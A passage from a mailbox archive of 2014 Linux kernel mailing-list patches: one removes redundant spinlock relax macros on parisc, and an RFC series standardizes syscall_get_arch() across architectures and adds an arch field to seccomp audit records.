User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0
In-Reply-To: <1393004101-25382-11-git-send-email-will.deacon@arm.com>
X-Forwarded-Message-Id: <1393004101-25382-11-git-send-email-will.deacon@arm.com>
X-Provags-ID: V03:K0:wb5C/nUwPCBbhkSzXV4zidsYeLg0ilKODCBIxF7y++eWuOR/GA6
 WpUWNTE5jcqKwPvwCqMBEf5iKX2I4SPFTV32sQ0VNcMC7li/7y2iEdnvR005/DEGPRijutQ
 PNg0dZluJLeCcUprhElmOrJUunXc9msrlLYRD/M978vfh92iZYtlTZt3wVet2qBWsmJbRjI
 8/Bdr1VGVkkuDd1XYMGew==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5720>

Forwarding to parisc patchwork...


-------- Original Message --------
Subject: 	[PATCH RESEND 10/14] hppa: locks: remove redundant 
arch_*_relax operations
Date: 	Fri, 21 Feb 2014 17:34:57 +0000
From: 	Will Deacon <will.deacon@arm.com>
To: 	akpm@linux-foundation.org
CC: 	linux-arch@vger.kernel.org, Will Deacon <will.deacon@arm.com>, 
Helge Deller <deller@gmx.de>



Now that the arch_{spin,read,write}_relax macros default to cpu_relax(),
remove the redundant definitions for parisc.

Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Will Deacon <will.deacon@arm.com>
---
  arch/parisc/include/asm/spinlock.h | 4 ----
  1 file changed, 4 deletions(-)

diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/asm/spinlock.h
index 3516e0b27044..64f2992e439f 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -191,8 +191,4 @@ static __inline__ int arch_write_can_lock(arch_rwlock_t *rw)
  #define arch_read_lock_flags(lock, flags) arch_read_lock(lock)
  #define arch_write_lock_flags(lock, flags) arch_write_lock(lock)
  
-#define arch_spin_relax(lock)	cpu_relax()
-#define arch_read_relax(lock)	cpu_relax()
-#define arch_write_relax(lock)	cpu_relax()

From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.redhat.security.audit,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 0/6][RFC] audit: standardize and simplify syscall_get_arch()
Date: Wed,  5 Mar 2014 16:27:01 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <cover.1393974970.git.rgb@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1394054906 7332 80.91.229.3 (5 Mar 2014 21:28:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 21:28:26 +0000 (UTC)
Cc: Richard Guy Briggs <rgb@redhat.com>, eparis@redhat.com,
        sgrubb@redhat.com, oleg@redhat.com,
        linux-arm-kernel@lists.infradead.org, x86@kernel.org,
        linux-ia64@vger.kernel.org, microblaze-uclinux@itee.uq.edu.au,
        linux-mips@linux-mips.org, linux@openrisc.net,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-arch@vger.kernel.org
To: linux-audit@redhat.com, linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Wed Mar 05 22:28:33 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1WLJMd-0005PF-7m
	for sgi-linux-mips@gmane.org; Wed, 05 Mar 2014 22:28:31 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:34865 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6831274AbaCEV23m-jqc (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 5 Mar 2014 22:28:29 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 05 Mar 2014 22:28:14 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:42039 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S6831270AbaCEV2MlE7Yk (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 5 Mar 2014 22:28:12 +0100
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25LS2qG010809
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Wed, 5 Mar 2014 16:28:02 -0500
Original-Received: from madcap2.tricolour.ca (vpn-49-50.rdu2.redhat.com [10.10.49.50])
        by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25LRupD018777;
        Wed, 5 Mar 2014 16:27:57 -0500
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-archive-position: 39418
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: rgb@redhat.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:40560 gmane.linux.redhat.security.audit:5996 gmane.linux.kernel:1661227 gmane.linux.ports.arm.kernel:307101 gmane.linux.ports.ia64:23656 gmane.linux.ports.openrisc:426 gmane.linux.ports.parisc:5721 gmane.linux.ports.ppc64.devel:99951 gmane.linux.ports.sh.devel:33100 gmane.linux.ports.sparc:18745 gmane.linux.uml.devel:14378 gmane.linux.kernel.cross-arch:21955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/40560>

Each arch that supports audit requires syscall_get_arch() to able to log
and identify architecture-dependent syscall numbers.  The information is used
in at least two different subsystems, so standardize it in the same call across
all arches.

Use the standardized syscall_get_arch() locally to add the arch to the
AUDIT_SECCOMP record to identify which syscall was issued.

Since all the callers of syscall_get_arch() presently pass "current" and none
of the arch-specific syscall_get_arch() implementations use the regs parameter,
call syscall_get_arch() locally where it is needed and drop passing around
arch, current and regs in __audit_syscall_entry() and audit_syscall_entry().

Compiles and runs on i686, x86_64, ppc, ppc64, s390, s390x, manually tested in
an x86_64 VM.  aarch64 will be added soon.

Richard Guy Briggs (6):
  syscall: define syscall_get_arch() for each audit-supported arch
  audit: add arch field to seccomp event log
  audit: __audit_syscall_entry: ignore arch arg and call
    syscall_get_arch() directly
  audit: drop arch from audit_syscall_entry() interface
  audit: drop args from syscall_get_arch() interface
  audit: drop arch from __audit_syscall_entry() interface

 arch/arm/include/asm/syscall.h        |    5 ++---
 arch/arm/kernel/ptrace.c              |    2 +-
 arch/ia64/include/asm/syscall.h       |    6 ++++++
 arch/ia64/kernel/ptrace.c             |    2 +-
 arch/microblaze/include/asm/syscall.h |    5 +++++
 arch/microblaze/kernel/ptrace.c       |    2 +-
 arch/mips/include/asm/syscall.h       |    6 +++---
 arch/mips/kernel/ptrace.c             |    3 +--
 arch/openrisc/include/asm/syscall.h   |    5 +++++
 arch/openrisc/kernel/ptrace.c         |    2 +-
 arch/parisc/include/asm/syscall.h     |   11 +++++++++++
 arch/parisc/kernel/ptrace.c           |    5 ++---
 arch/powerpc/include/asm/syscall.h    |   12 ++++++++++++
 arch/powerpc/kernel/ptrace.c          |    6 ++----
 arch/s390/include/asm/syscall.h       |    7 +++----
 arch/s390/kernel/ptrace.c             |    4 +---
 arch/sh/include/asm/syscall.h         |   16 ++++++++++++++++
 arch/sh/kernel/ptrace_32.c            |   13 +------------
 arch/sh/kernel/ptrace_64.c            |   16 +---------------
 arch/sparc/include/asm/syscall.h      |    7 +++++++
 arch/sparc/kernel/ptrace_64.c         |    5 +----
 arch/um/kernel/ptrace.c               |    3 +--
 arch/x86/ia32/ia32entry.S             |   12 ++++++------
 arch/x86/include/asm/syscall.h        |   10 ++++------
 arch/x86/kernel/entry_32.S            |   11 +++++------
 arch/x86/kernel/entry_64.S            |   11 +++++------
 arch/x86/kernel/ptrace.c              |    6 ++----
 arch/xtensa/kernel/ptrace.c           |    2 +-
 include/asm-generic/syscall.h         |    6 ++----
 include/linux/audit.h                 |    9 ++++-----
 include/uapi/linux/audit.h            |    1 +
 kernel/auditsc.c                      |    6 ++++--
 kernel/seccomp.c                      |    4 ++--
 33 files changed, 120 insertions(+), 101 deletions(-)




From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.redhat.security.audit,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.openrisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 2/6][RFC] audit: add arch field to seccomp event log
Date: Wed,  5 Mar 2014 16:27:03 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <7f3959e9f2c971e91d63287518beb30aff56d917.1393974970.git.rgb@redhat.com>
References: <cover.1393974970.git.rgb@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1394054919 7508 80.91.229.3 (5 Mar 2014 21:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 21:28:39 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mips@linux-mips.org,
 linux-ia64@vger.kernel.org, user-mode-linux-devel@lists.sourceforge.net,
 linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
 Richard Guy Briggs <rgb@redhat.com>, microblaze-uclinux@itee.uq.edu.au,
 linux@openrisc.net, x86@kernel.org, oleg@redhat.com, eparis@redhat.com,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org, sgrubb@redhat.com,
 linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: linux-audit@redhat.com, linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Mar 05 22:28:48 2014
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1WLJMt-0005fs-J9
	for linux-arm-kernel@m.gmane.org; Wed, 05 Mar 2014 22:28:47 +0100
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WLJMq-0001Wl-6H; Wed, 05 Mar 2014 21:28:44 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WLJMn-0000oz-6E; Wed, 05 Mar 2014 21:28:41 +0000
Original-Received: from mx1.redhat.com ([209.132.183.28])
 by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
 id 1WLJMi-0000mu-MC
 for linux-arm-kernel@lists.infradead.org; Wed, 05 Mar 2014 21:28:38 +0000
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com
 (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
 by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25LSFIZ025498
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
 Wed, 5 Mar 2014 16:28:15 -0500
Original-Received: from madcap2.tricolour.ca (vpn-49-50.rdu2.redhat.com [10.10.49.50])
 by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with
 ESMTP id s25LRupF018777; Wed, 5 Mar 2014 16:28:07 -0500
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
Original-References: <cover.1393974970.git.rgb@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20140305_162836_952358_1BE9F2D6 
X-CRM114-Status: GOOD (  12.76  )
X-Spam-Score: -3.9 (---)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-3.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [209.132.183.28 listed in list.dnswl.org]
 3.0 KHOP_BIG_TO_CC         Sent to 10+ recipients instaed of Bcc or a list
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:307102 gmane.linux.redhat.security.audit:5997 gmane.linux.kernel:1661228 gmane.linux.kernel.cross-arch:21956 gmane.linux.ports.mips.general:40561 gmane.linux.ports.ia64:23657 gmane.linux.uml.devel:14379 gmane.linux.ports.parisc:5722 gmane.linux.ports.openrisc:427 gmane.linux.ports.sh.devel:33101 gmane.linux.ports.sparc:18746 gmane.linux.ports.ppc64.devel:99952
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/307102>

The AUDIT_SECCOMP record looks something like this:

type=SECCOMP msg=audit(1373478171.953:32775): auid=4325 uid=4325 gid=4325 ses=1 subj=unconfined_u:unconfined_r:unconfined_t:s0 pid=12381 comm="test" sig=31 syscall=231 compat=0 ip=0x39ea8bca89 code=0x0

In order to determine what syscall 231 maps to, we need to have the arch= field right before it.

To see the event, compile this test.c program:

=====
int main(void)
{
        return seccomp_load(seccomp_init(SCMP_ACT_KILL));
}
=====

gcc -g test.c -o test -lseccomp

After running the program, find the record by:  ausearch --start recent -m SECCOMP -i

Signed-off-by: Richard Guy Briggs <rgb@redhat.com>

---
 kernel/auditsc.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/kernel/auditsc.c b/kernel/auditsc.c
index 3bc12d2..7317f46 100644
--- a/kernel/auditsc.c
+++ b/kernel/auditsc.c
@@ -67,6 +67,7 @@
 #include <linux/binfmts.h>
 #include <linux/highmem.h>
 #include <linux/syscalls.h>
+#include <asm/syscall.h>
 #include <linux/capability.h>
 #include <linux/fs_struct.h>
 #include <linux/compat.h>
@@ -2415,6 +2416,8 @@ void __audit_seccomp(unsigned long syscall, long signr, int code)
 		return;
 	audit_log_task(ab);
 	audit_log_format(ab, " sig=%ld", signr);
+	audit_log_format(ab, " arch=%x",
+			 syscall_get_arch(current, task_pt_regs(current)));
 	audit_log_format(ab, " syscall=%ld", syscall);
 	audit_log_format(ab, " compat=%d", is_compat_task());
 	audit_log_format(ab, " ip=0x%lx", KSTK_EIP(current));
-- 
1.7.1

From - Thu Nov 08 21:10:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.redhat.security.audit,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/6][RFC] syscall: define syscall_get_arch() for each audit-supported arch
Date: Wed,  5 Mar 2014 16:27:02 -0500
Lines: 234
Approved: news@gmane.org
Message-ID: <cb88576237b1bc4fc7981200c2c23ae05790db0d.1393974970.git.rgb@redhat.com>
References: <cover.1393974970.git.rgb@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1394054924 7594 80.91.229.3 (5 Mar 2014 21:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2014 21:28:44 +0000 (UTC)
Cc: Richard Guy Briggs <rgb@redhat.com>, eparis@redhat.com,
        sgrubb@redhat.com, oleg@redhat.com,
        linux-arm-kernel@lists.infradead.org, x86@kernel.org,
        linux-ia64@vger.kernel.org, microblaze-uclinux@itee.uq.edu.au,
        linux-mips@linux-mips.org, linux@openrisc.net,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-arch@vger.kernel.org
To: linux-audit@redhat.com, linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Wed Mar 05 22:28:51 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1WLJMx-0005jk-CC
	for sgi-linux-mips@gmane.org; Wed, 05 Mar 2014 22:28:51 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:34870 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6832661AbaCEV2tsmsWd (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 5 Mar 2014 22:28:49 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 05 Mar 2014 22:28:34 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:44600 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S6831273AbaCEV2N2Y1Pu (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 5 Mar 2014 22:28:13 +0100
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25LS7Jk006611
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Wed, 5 Mar 2014 16:28:07 -0500
Original-Received: from madcap2.tricolour.ca (vpn-49-50.rdu2.redhat.com [10.10.49.50])
        by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25LRupE018777;
        Wed, 5 Mar 2014 16:28:02 -0500
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
In-Reply-To: <cover.1393974970.git.rgb@redhat.com>
Original-References: <cover.1393974970.git.rgb@redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
X-archive-position: 39419
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: rgb@redhat.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:40562 gmane.linux.redhat.security.audit:5998 gmane.linux.kernel:1661229 gmane.linux.ports.arm.kernel:307103 gmane.linux.ports.ia64:23658 gmane.linux.ports.openrisc:428 gmane.linux.ports.parisc:5723 gmane.linux.ports.ppc64.devel:99953 gmane.linux.ports.sh.devel:33102 gmane.linux.ports.sparc:18747 gmane.linux.uml.devel:14380 gmane.linux.kernel.cross-arch:21957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/40562>

Each arch that supports audit requires syscall_get_arch() to able to log and
identify architecture-dependent syscall numbers.  The information is used in at
least two different subsystems, so standardize it in the same call across all
arches.

Signed-off-by: Richard Guy Briggs <rgb@redhat.com>

---
 arch/ia64/include/asm/syscall.h       |    7 +++++++
 arch/microblaze/include/asm/syscall.h |    6 ++++++
 arch/mips/include/asm/syscall.h       |    8 +++++++-
 arch/openrisc/include/asm/syscall.h   |    6 ++++++
 arch/parisc/include/asm/syscall.h     |   12 ++++++++++++
 arch/powerpc/include/asm/syscall.h    |   13 +++++++++++++
 arch/sh/include/asm/syscall.h         |   17 +++++++++++++++++
 arch/sparc/include/asm/syscall.h      |    8 ++++++++
 include/uapi/linux/audit.h            |    1 +
 9 files changed, 77 insertions(+), 1 deletions(-)

diff --git a/arch/ia64/include/asm/syscall.h b/arch/ia64/include/asm/syscall.h
index a7ff1c6..0fd2a7a 100644
--- a/arch/ia64/include/asm/syscall.h
+++ b/arch/ia64/include/asm/syscall.h
@@ -15,6 +15,7 @@
 
 #include <linux/sched.h>
 #include <linux/err.h>
+#include <linux/audit.h>
 
 static inline long syscall_get_nr(struct task_struct *task,
 				  struct pt_regs *regs)
@@ -79,4 +80,10 @@ static inline void syscall_set_arguments(struct task_struct *task,
 
 	ia64_syscall_get_set_arguments(task, regs, i, n, args, 1);
 }
+
+static inline int syscall_get_arch(struct task_struct *tsk,
+				   struct pt_regs *regs)
+{
+	return AUDIT_ARCH_IA64;
+}
 #endif	/* _ASM_SYSCALL_H */
diff --git a/arch/microblaze/include/asm/syscall.h b/arch/microblaze/include/asm/syscall.h
index 9bc4317..06854da 100644
--- a/arch/microblaze/include/asm/syscall.h
+++ b/arch/microblaze/include/asm/syscall.h
@@ -3,6 +3,7 @@
 
 #include <linux/kernel.h>
 #include <linux/sched.h>
+#include <linux/audit.h>
 #include <asm/ptrace.h>
 
 /* The system call number is given by the user in R12 */
@@ -99,4 +100,9 @@ static inline void syscall_set_arguments(struct task_struct *task,
 asmlinkage long do_syscall_trace_enter(struct pt_regs *regs);
 asmlinkage void do_syscall_trace_leave(struct pt_regs *regs);
 
+static inline int syscall_get_arch(struct tast_struct *tsk,
+				   struct pt_regs *regs)
+{
+	return AUDIT_ARCH_MICROBLAZE;
+}
 #endif /* __ASM_MICROBLAZE_SYSCALL_H */
diff --git a/arch/mips/include/asm/syscall.h b/arch/mips/include/asm/syscall.h
index 81c8913..41ecde4 100644
--- a/arch/mips/include/asm/syscall.h
+++ b/arch/mips/include/asm/syscall.h
@@ -103,7 +103,7 @@ extern const unsigned long sysn32_call_table[];
 
 static inline int __syscall_get_arch(void)
 {
-	int arch = EM_MIPS;
+	int arch = AUDIT_ARCH_MIPS;
 #ifdef CONFIG_64BIT
 	arch |=  __AUDIT_ARCH_64BIT;
 #endif
@@ -113,4 +113,10 @@ static inline int __syscall_get_arch(void)
 	return arch;
 }
 
+static inline int syscall_get_arch(struct task_struct *task,
+				   struct pt_regs *regs)
+{
+	return __syscall_get_arch();
+}
+
 #endif	/* __ASM_MIPS_SYSCALL_H */
diff --git a/arch/openrisc/include/asm/syscall.h b/arch/openrisc/include/asm/syscall.h
index b752bb6..534b9c3 100644
--- a/arch/openrisc/include/asm/syscall.h
+++ b/arch/openrisc/include/asm/syscall.h
@@ -21,6 +21,7 @@
 
 #include <linux/err.h>
 #include <linux/sched.h>
+#include <linux/audit.h>
 
 static inline int
 syscall_get_nr(struct task_struct *task, struct pt_regs *regs)
@@ -71,4 +72,9 @@ syscall_set_arguments(struct task_struct *task, struct pt_regs *regs,
 	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
 }
 
+static inline int syscall_get_arch(struct task_struct *tsk,
+				   struct pt_regs *regs)
+{
+	return AUDIT_ARCH_OPENRISC;
+}
 #endif
diff --git a/arch/parisc/include/asm/syscall.h b/arch/parisc/include/asm/syscall.h
index 8bdfd2c..b3b604f 100644
--- a/arch/parisc/include/asm/syscall.h
+++ b/arch/parisc/include/asm/syscall.h
@@ -4,6 +4,8 @@
 #define _ASM_PARISC_SYSCALL_H_
 
 #include <linux/err.h>
+#include <linux/compat.h>
+#include <linux/audit.h>
 #include <asm/ptrace.h>
 
 static inline long syscall_get_nr(struct task_struct *tsk,
@@ -37,4 +39,14 @@ static inline void syscall_get_arguments(struct task_struct *tsk,
 	}
 }
 
+static inline int syscall_get_arch(struct task_struct *tsk,
+				   struct pt_regs *regs)
+{
+	int arch = AUDIT_ARCH_PARISC;
+#ifdef CONFIG_64BIT
+	if (!is_compat_task())
+		arch = AUDIT_ARCH_PARISC64;
+#endif
+	return arch;
+}
 #endif /*_ASM_PARISC_SYSCALL_H_*/
diff --git a/arch/powerpc/include/asm/syscall.h b/arch/powerpc/include/asm/syscall.h
index b54b2ad..b824eb2 100644
--- a/arch/powerpc/include/asm/syscall.h
+++ b/arch/powerpc/include/asm/syscall.h
@@ -14,6 +14,8 @@
 #define _ASM_SYSCALL_H	1
 
 #include <linux/sched.h>
+#include <linux/compat.h>
+#include <linux/audit.h>
 
 /* ftrace syscalls requires exporting the sys_call_table */
 #ifdef CONFIG_FTRACE_SYSCALLS
@@ -86,4 +88,15 @@ static inline void syscall_set_arguments(struct task_struct *task,
 	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
 }
 
+static inline int syscall_get_arch(struct task_struct *tsk,
+				   struct pt_regs *regs)
+{
+	int arch = AUDIT_ARCH_PPC;
+
+#ifdef CONFIG_PPC64
+	if (!is_32bit_task())
+		arch = AUDIT_ARCH_PPC64;
+#endif
+	return arch;
+}
 #endif	/* _ASM_SYSCALL_H */
diff --git a/arch/sh/include/asm/syscall.h b/arch/sh/include/asm/syscall.h
index 847128d..f1a79d4 100644
--- a/arch/sh/include/asm/syscall.h
+++ b/arch/sh/include/asm/syscall.h
@@ -9,4 +9,21 @@ extern const unsigned long sys_call_table[];
 # include <asm/syscall_64.h>
 #endif
 
+# include <linux/audit.h>
+
+static inline int syscall_get_arch(struct task_struct *tsk,
+				   struct pt_regs *regs)
+{
+	int arch = AUDIT_ARCH_SH;
+
+#ifdef CONFIG_64BIT
+	arch |= __AUDIT_ARCH_64BIT;
+#endif
+#ifdef CONFIG_CPU_LITTLE_ENDIAN
+	arch |= __AUDIT_ARCH_LE;
+#endif
+
+	return arch;
+}
+
 #endif /* __ASM_SH_SYSCALL_H */
diff --git a/arch/sparc/include/asm/syscall.h b/arch/sparc/include/asm/syscall.h
index 025a02a..c7a8f75 100644
--- a/arch/sparc/include/asm/syscall.h
+++ b/arch/sparc/include/asm/syscall.h
@@ -3,6 +3,7 @@
 
 #include <linux/kernel.h>
 #include <linux/sched.h>
+#include <linux/audit.h>
 #include <asm/ptrace.h>
 
 /*
@@ -124,4 +125,11 @@ static inline void syscall_set_arguments(struct task_struct *task,
